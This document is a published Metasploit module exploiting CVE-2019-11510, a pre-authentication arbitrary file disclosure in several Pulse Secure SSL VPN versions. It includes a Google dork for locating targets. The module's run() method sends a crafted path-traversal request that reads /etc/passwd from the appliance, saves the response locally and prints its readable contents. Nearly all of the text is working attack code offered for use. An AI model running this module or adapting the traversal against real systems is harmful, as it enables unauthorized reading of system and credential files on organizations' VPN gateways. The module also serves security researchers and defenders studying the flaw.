Pulse Secure SSL VPN 8.1R15.1 / 8.2 / 8.3 / 9.0 Arbitrary File Disclosure

`# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)  
# Google Dork: inurl:/dana-na/ filetype:cgi  
# Date: 8/20/2019  
# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera  
# Vendor Homepage: https://pulsesecure.net  
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4  
# Tested on: Linux  
# CVE : CVE-2019-11510   
require 'msf/core'  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Post::File  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Pulse Secure - System file leak',  
'Description' => %q{  
Pulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.  
This exploit reads /etc/passwd as a proof of concept  
This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4  
},  
'References' =>  
[  
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]  
],  
'Author' => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],  
'License' => MSF_LICENSE,  
'DefaultOptions' =>  
{  
'RPORT' => 443,  
'SSL' => true  
},  
))  
  
end  
  
  
def run()  
print_good("Checking target...")  
res = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342)  
  
if res && res.code == 200  
print_good("Target is Vulnerable!")  
data = res.body  
current_host = datastore['RHOST']  
filename = "msf_sslwebsession_"+current_host+".bin"  
File.delete(filename) if File.exist?(filename)  
file_local_write(filename, data)  
print_good("Parsing file.......")  
parse()  
else  
if(res && res.code == 404)  
print_error("Target not Vulnerable")  
else  
print_error("Ooof, try again...")  
end  
end  
end  
def parse()  
current_host = datastore['RHOST']  
  
fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")  
words = 0  
while (line = fileObj.gets)  
printable_data = line.gsub(/[^[:print:]]/, '.')  
array_data = printable_data.scan(/.{1,60}/m)  
for ar in array_data  
if ar != "............................................................"  
print_good(ar)  
end  
end  
#print_good(printable_data)  
  
end  
fileObj.close  
end  
end  
`